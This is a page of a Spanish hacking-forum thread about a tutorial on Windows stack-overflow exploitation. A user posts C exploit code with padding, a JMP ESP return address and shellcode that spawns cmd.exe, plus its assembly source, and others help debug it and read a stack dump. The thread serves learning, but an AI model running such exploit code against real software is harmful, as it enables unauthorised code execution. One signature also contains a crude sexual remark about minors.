Páginas: 1 2 3 [4]
|
 |
|
Autor
|
Tema: <-!-> Taller de Stack Overflows en Windows, por Rojodos (Leído 19827 veces)
|
|
|
R41N-W4R3
Desconectado
Mensajes: 222
|
Hola, estoy realizando el exploit basico (gracias al texto de rojodos....impresionantemente bien explicado) y tengo el siguiente problema: Pego mi codigo antes de nada: #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h>
int main (int argc,char **argv) {
char evilbuffer[1024]="AAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPPQQQQRRRRSSSS";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45" "\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50" "\xBB\xC7\x93\xBF\x77\xFF\xD3"; [b] //EL OFFSET TAMBIEN LO HE PUESTO BIEN (xC7\x93\xBF\x77) lo hago con el programa diceoffset [/b]
char offset[]="\x7C\x95\x1E\xED"; [b] //HE SACADO ESTO EN MI PC CON FINDJMP[/b] strcat(evilbuffer,offset); strcat(evilbuffer,shellcode); printf ("Cadena + offset + shellcode en formato printable\n\n"); printf ("%s", evilbuffer);
argv[0] = "vulnerable"; argv[1] = evilbuffer; argv[2] = NULL; execv ("vulnerable.exe",argv); }
El caso es que al ejecutarlo me peta diciendo: que la instruccion que hace referencia a una direccion de memoria no se puede read. Por otro lado, cuando compilo el shell y lo ejecuto se me abre correctamente la shell pero no se me genera el exe. Pego aki el codigo: #include <stdio.h> #include <windows.h>
void main () {
LoadLibrary("msvcrt.dll"); __asm{ push ebp mov ebp,esp xor edi,edi push edi sub esp,04h mov byte ptr [ebp-08h],63h mov byte ptr [ebp-07h],6Dh mov byte ptr [ebp-06h],64h mov byte ptr [ebp-05h],2Eh mov byte ptr [ebp-04h],65h mov byte ptr [ebp-03h],78h mov byte ptr [ebp-02h],65h lea eax,[ebp-08h] push eax mov ebx,0x77bf93c7 call ebx } }
Saludos y gracias........
|
|
|
|
|
En línea
|
|
|
|
|
sirdarckcat
|
Tu error debe estar en la direccion del salto a JMP ESP.. pero.. porque pones el salto a JMP ESP al final del shellcode? :-/ lee otraves el tutorial de rojodos jeje Por otro lado, cuando compilo el shell y lo ejecuto se me abre correctamente la shell pero no se me genera el exe. si lo pudiste ejecutar, es porque ya se genero un exe. Saludos!!
|
|
|
|
|
En línea
|
|
|
|
R41N-W4R3
Desconectado
Mensajes: 222
|
En el compilador le doy a ejecutar y me abre la shell...pero aunke le de a build no me sale ningun shell.exe... cuando lo he ejecutado y pongo en la shell exit para cerrar la ventana msdos me sale el siguiente error: Debug error! program.... Module: File: i386\chkesp.c Line 42
the value of ESP was not properly saved across a function call............
De todas formas estoy empezando desde el principio... y releyendo el tuto.... Gracias por tu ayuda
|
|
|
|
|
En línea
|
|
|
|
gaby-EOF
Desconectado
Mensajes: 3
printf("\nit releases your mind");
|
exelente tu tutorial rojodos hasta ahora solo tenia una idea muy remota de lo que se tratava stack overflows ahora me quedo clarisimo. gracias
|
|
|
|
|
En línea
|
---------------->off line
|
|
|
Sha0
Desconectado
Mensajes: 18
Sehr gut !!
|
Hehe stack overflow es una tecnica muy antigua, alguien por aqui esta investigando como petar protecciones grsecurity, safe-SEH, kernel match protection, DEP, ASLR ... Voy a ir publicando algunas tecnicas en mi blog, os animo a seguir en el tema y meterle mucha caña a la protarmacion a bajo nivel. http://jolmos.blogspot.com
|
|
|
|
|
En línea
|
No intentes doblar la cuchara, eso es imposible. Solo intenta comprender la realidad ... que no hay cuchara. -- a hacker --
|
|
|
Sha0
Desconectado
Mensajes: 18
Sehr gut !!
|
Hehe stack overflow es una tecnica antigua y sencilla, la gracia está en petar las protecciones que impiden que se desvíe el flujo de ejecución.
¿alguien por aqui esta investigando como petar protecciones grsecurity, safe-SEH, kernel match protection, DEP, ASLR?
Voy a ir publicando algunas tecnicas en mi blog, os animo a seguir en el tema y meterle mucha caña a la protarmacion a bajo nivel.
|
|
|
|
« Última modificación: 21 Septiembre 2008, 23:12 por sirdarckcat »
|
En línea
|
No intentes doblar la cuchara, eso es imposible. Solo intenta comprender la realidad ... que no hay cuchara. -- a hacker --
|
|
|
opsmc
Desconectado
Mensajes: 2
mi debilidad las lolitas mayores de 12
|
Hola a todos, desde hace unos dias me he dedicado <<por sobra de tiempo  despedido injustamente  >> a hacer algunas travesuras por la red este foro se me hace de poca m... en horabuena Sin embargo tengo una triste duda de novato (ojo ya busque en la ayuda bla bla) :rolleyes:de donde carajos bajo el adjunto  Esta como archivo adjunto, para descargarlo, hay que estar registrado  (cosas del admin) 
|
|
|
|
|
En línea
|
La red es el único lugar donde podemos ser realmente nosotros, no reglas, no máscaras...
|
|
|
zhynar_X
Desconectado
Mensajes: 516
Use linux my friend...
|
|
|
|
|
|
En línea
|
Me he creado un blog: http://zhynar.blogspot.com Aver si os gusta!  Optimista es aquel que cree poder resolver un atasco de trafico tocando el claxon (Anonimo)
|
|
|
~[uNd3rc0d3]~
Desconectado
Mensajes: 141
programando...
|
que buen manual, aun lo estoy leyendo, pero me surguio una duda, en una partes cuando explicabas el primer codigo, en fin apretavas F8 para ver lo que venia y pusiste esto 0022FF00 0022FF28 ASCII "14AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA" 0022FF04 003D24A3 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas AAAAs) AAAAAAAAAAAAAAAAAAA" 0022FF08 0022FF70 ASCII "AAAAAAAAAAAAAAAAAAAAAA(muchas AAAAs) AAAAAAAAAAAAAAAAAAAAAAAA" 0022FF0C 004012C4 RETURN to vuln1.004012C4 from vuln1.004013D0 0022FF10 77BE2048 msvcrt.77BE2048 0022FF14 0022FEF8 0022FF18 77BFAC19 RETURN to msvcrt.77BFAC19 from msvcrt.77C054FD 0022FF1C 0022FFE0 ASCII "AAAAAAAAAAAAA" 0022FF20 77C03EB0 msvcrt._except_handler3 0022FF24 00000000 0022FF28 41414141 <-- Aqui empieza la variable buffer 0022FF2C 41414141 0022FF30 41414141 0022FF34 41414141 0022FF38 41414141 0022FF3C 41414141 0022FF40 41414141 0022FF44 41414141 0022FF48 41414141 0022FF4C 41414141 0022FF50 41414141 0022FF54 41414141 0022FF58 41414141 0022FF5C 41414141 0022FF60 41414141 0022FF64 41414141 0022FF68 41414141 0022FF6C 41414141 <--- Aquí terminaban los 64 bytes de tamaño de buffer. A partir de aquí hemos hecho el overflow. 0022FF70 41414141 <--- EBP salvado del anterior proceso, sobrescrito con AAAA 0022FF74 41414141 <--- Antigua dirección del ret del main () sobrescrito con AAAA 0022FF78 41414141 0022FF7C 41414141 0022FF80 41414141 0022FF84 41414141 lo que yo me pregunto ahi es, como sabes que en 0022FF6C termina los 64b ? porque no le veo logica viendo que hay 18 celdas desde que empieza hasta que termina.... gracias
|
|
|
|
|
En línea
|
 leete las reglas asi todos estamos mejor
|
|
|
|
|
|
Terran
|
lo que yo me pregunto ahi es, como sabes que en 0022FF6C termina los 64b ? porque no le veo logica viendo que hay 18 celdas desde que empieza hasta que termina....
gracias
4 bytes por fila (AAAA) 18 filas x 4 bytes = 64 bytes. Interesante manual 
|
|
|
|
|
En línea
|
|
|
|
APOKLIPTICO
Conectado
Mensajes: 930
Don't talk to me if you ain't got the answer
|
Emm no... 18 *4 = 72...
|
|
|
|
|
En línea
|
Y = (100/(100+(x-Pi/2)^8)) * (2-sin(7*x)-cos(30*x)/2)
Aprendiendo: RFI: 10% XSS: 70% Exploits: 60% Hack Wireless: 40% Troyanos y Virus: 70% Encriptacion y Cifrados: 40% Windows: 90% Linux: 40% VB: 75% C++: 30% ASM: 15% Batch: 90% Java: 15% Perl: 10% Redes: 45% Software: 70% Hardware y OC: 60% Guitarra: 25%
|
|
|
|
Terran
|
Emm no... 18 *4 = 72...
Estaba en babia.... Pues por alguna razon añadira 8 bytes de mas en el buffer al compilarlo con Dev Cpp.
|
|
|
|
|
En línea
|
|
|
|
|
Páginas: 1 2 3 [4]
|
|
|
|